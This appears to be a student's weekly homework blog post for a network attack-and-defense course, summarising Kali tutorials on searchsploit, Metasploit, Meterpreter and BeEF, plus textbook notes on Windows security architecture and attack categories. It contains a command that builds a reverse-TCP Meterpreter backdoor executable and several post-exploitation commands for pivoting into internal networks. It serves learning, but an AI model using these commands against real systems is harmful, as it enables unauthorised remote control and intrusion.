20189222 《网络攻防技术》第七周作业

一、KaliSecurity视频总结(26-30)

1.1 Kali 漏洞利用之检索与利用


searchsploit

searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp,命令searchsploit wordpress列出了漏洞和文件地址。

查看列出的文件,例:

1.2 Kali 漏洞利用之Metasploit基础


Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。

启动服务

在Kali中使用metasploit,需要先启动Postgre SQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录。

service postgresql start
service metasploit start

如果 不想每次开机都手动启动服务,可以配置随系统启动 update-rc.d postgresql enable update-rc.d metasploit enable

路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块 encoders:供msfencode编码工具使用,具体可以使用msfencode -l。
exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_metapi,它就在这个目录。
payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码,比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里。

基本命令
msfpayload:用来生成payload或者shellcode。
搜索的时候可以用msfpayload -l | grep "windows"这样的命令查询。
-o 选项可以列出payload所需的参数
msfencode:msf中的编码器,早期为了编码绕过AV,现在常用msfpayload与它编码避免exploit的坏字符串。
1)输入msfconsole,打开msf:


2)发现漏洞,使用命令nmap -sV 192.168.1.124



3)使用set设置参数:

1.3 Kali 漏洞利用之Meterpreter介绍


Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpreter shell链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清楚应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
常用的命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换进一个信道
migrate:迁移进程
run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_inject等
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对windows操作系统,反向连接shell,使用起来比较稳定。
生成Meterpreter后门;打开MSF,开启监听(选择exploit/multi/handler);在目标机器上执行door.exe;
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.113 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe /* 查看自己的IP地址为192.168.8.113,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/

1.4 Kali 漏洞利用之Metasploit后渗透测试


在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
1.查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
2.添加路由表run autoroute -s 10.0.0.1可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
3.开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
4.通过background和session -i可以自由切换进入session。
5.输入run可以看到在meterpreter上可以做的很多命令。
6.通过run post/可以看到后渗透测试模块
7.获取内网信息run arp_scanner -r 10.0.0.1/24
8.也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\\传送文件到c盘根目录。

1.5 Kali 漏洞利用之BeEF


Kali下有丰富的无线网络攻击套件:

1、输入命令beef-xss启动BeeF:

2.使用默认用户名beef与默认密码beef登录

3.HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
其中,4种颜色分别表示:
绿色:该攻击模块可用,且隐蔽性强
灰色:该攻击模块可用,但隐蔽性差
橙色:该用户模块是否可用还有待验证
红色:该攻击模块不可用
4.例如,选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可用的参数等。输入JavaScript code,点击Excute进行攻击。
5.Proxy功能(代理功能)
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
6.BeFF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置。

修改/usr/share/beef-xss/config.yaml中的metasploit 一行为true

保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径,配置好后,打开msfconsole,运行命令
load msgrpc ServerHost=192.168.1.124 Pass=abc123

二、教材学习内容总结

1、Windows操作系统框架

Windows操作系统的发展与现状

Windows在桌面操作系统中占有非常高的市场份额,Windows XP系统在国内仍有大量的用户

Windows操作系统基本结构

(1)Windows操作系统内核基本模块

+Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口

+Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能

+设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序程序,以及文件系统与网络设备驱动程序。

+硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码.

+Windows窗口与图形界面接口内核实现代码:win.32k.sys文件

(2)Windows操作系统在用户态的代码模块

+系统支持进程:Windows开机自动启动的系统内建服务进程

+环境子系统服务进程:为操作系统运行环境提供支持的服务进程

+服务进程:通过windows的服务管理机制所启动的一系列系统及网络服务

+用户应用软件:在用户态执行的各类用户应用软件

+核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/avapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。

(3)核心机制

+Windows进程和线程管理机制

+Windows内存管理机制

+Windows文件管理机制

+Windows注册表管理机制

+Windows的网络机制

①网卡硬件设备驱动程序,位于OSI物理层
②NDIS库及miniport驱动程序,位于OSI链路层
③TDI传输层,网络协议驱动,位于OSI网络层与传输层
④网络API DLL 及TDI客户端,对应OSI会话层与表示层
⑥网络应用程序与服务进程,对应OSI应用层

2、Windows操作系统的安全体系结构与机制

Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

Windows操作系统实现基础的安全机制,其中最核心的是位于内核的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制,对所有资源对象的访问控制机制,以及对访问的安全审计机制。

Windows身份认证机制

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。

Windows系统中拥有一些内建账户,如拥有最高权限的本地Administrator账户,作为自动运行系统进程环境的SYSTEM/LocalSystem账户,具有相对极少权限的Guest匿名访问用户,以及IUSR_Machinename IIS服务的匿名网络访问账户等。而这些账户在黑客眼中,本地Administrator和SYSTEM账户拥有最高的权限,是他们攻击的终极目标。

Windows系统的内建用户组包括:本地最高权限用户组Administrators、具有单一方面系统权限的Account/Backup/Server/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的Users组等。 Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL MACHINE\SAM存有副本。

Windows域账户口令信息则保存在域控制器的活动目录AD中,加密方式与单机平台一致,存储文件系统位置是域控制器的%systemroot%\ntds\ntds.dit路径。

Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主主体进行合法性验证。网络身份认证过程由LSASS服务的Netlogon模块主导完成。

Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。

Windows授权与访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息。Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,有以下属性组成:

+Owner SID

+Group SID

+DACL 自主访问控制列表

+SACL 系统审计访问控制列表

Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

Win身份认证、授权与访问控制以及安全审计是三个基本安全功能。保护Windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护。除安全中心之外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等

dows的其他安全机制

3、Windows远程安全攻防技术

+远程口令猜测与破解攻击

+攻击Windows网络服务

+攻击Windows客户端及用户

Windows系统的安全漏洞生命周期

系统安全的本质核心在于安全漏洞、渗透攻击及安全检测防御机制之间的攻防博弈与竞赛。

+Windows安全漏洞发现、利用与修补过程

+安全漏洞公开披露信息库

+针对特定目标的渗透测试攻击过程

①漏洞扫描测试
②查找针对发现漏洞的渗透代码
③实施渗透测试

使用Metasploit软件实施渗透测试:Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。

Windows远程口令猜测与破解攻击

+远程口令字猜测

+远程口令字交换通信窃听与破解

+远程口令猜测与破解防范措施

Windows网络服务远程渗透攻击

Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。

+针对NetBIOS网络服务的著名漏洞及攻击

+针对SMB网络服务的著名漏洞及攻击

+针对MSRPC网络服务的著名漏洞及攻击

+针对Windows系统上微软网络服务的远程渗透攻击

+针对Windows系统上第三方网络服务的远程渗透攻击

+网络服务远程渗透攻击防范措施

4、Windows本地安全攻防技术

Windows本地特权提升

终极特权:Administrator或者Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升。

Windows敏感信息窃取

+Windows系统口令字密文提取技术

+Windows系统口令字破解技术

+用户敏感数据窃取

+本地敏感信息窃取防范措施

Windows消踪灭迹

+关闭审计功能

+清理事件日志

+针对消踪灭迹的防范措施

Windows远程控制与后门程序

+命令行远程控制工具

+图形化远程控制工具

+针对后门程序防范措施

三、《Python 黑帽子》第六、九章代码

码云链接:BHP_CH6_CH9_Code

posted on 2019-04-14 21:14  20189209郑炜  阅读(166)  评论(0编辑  收藏  举报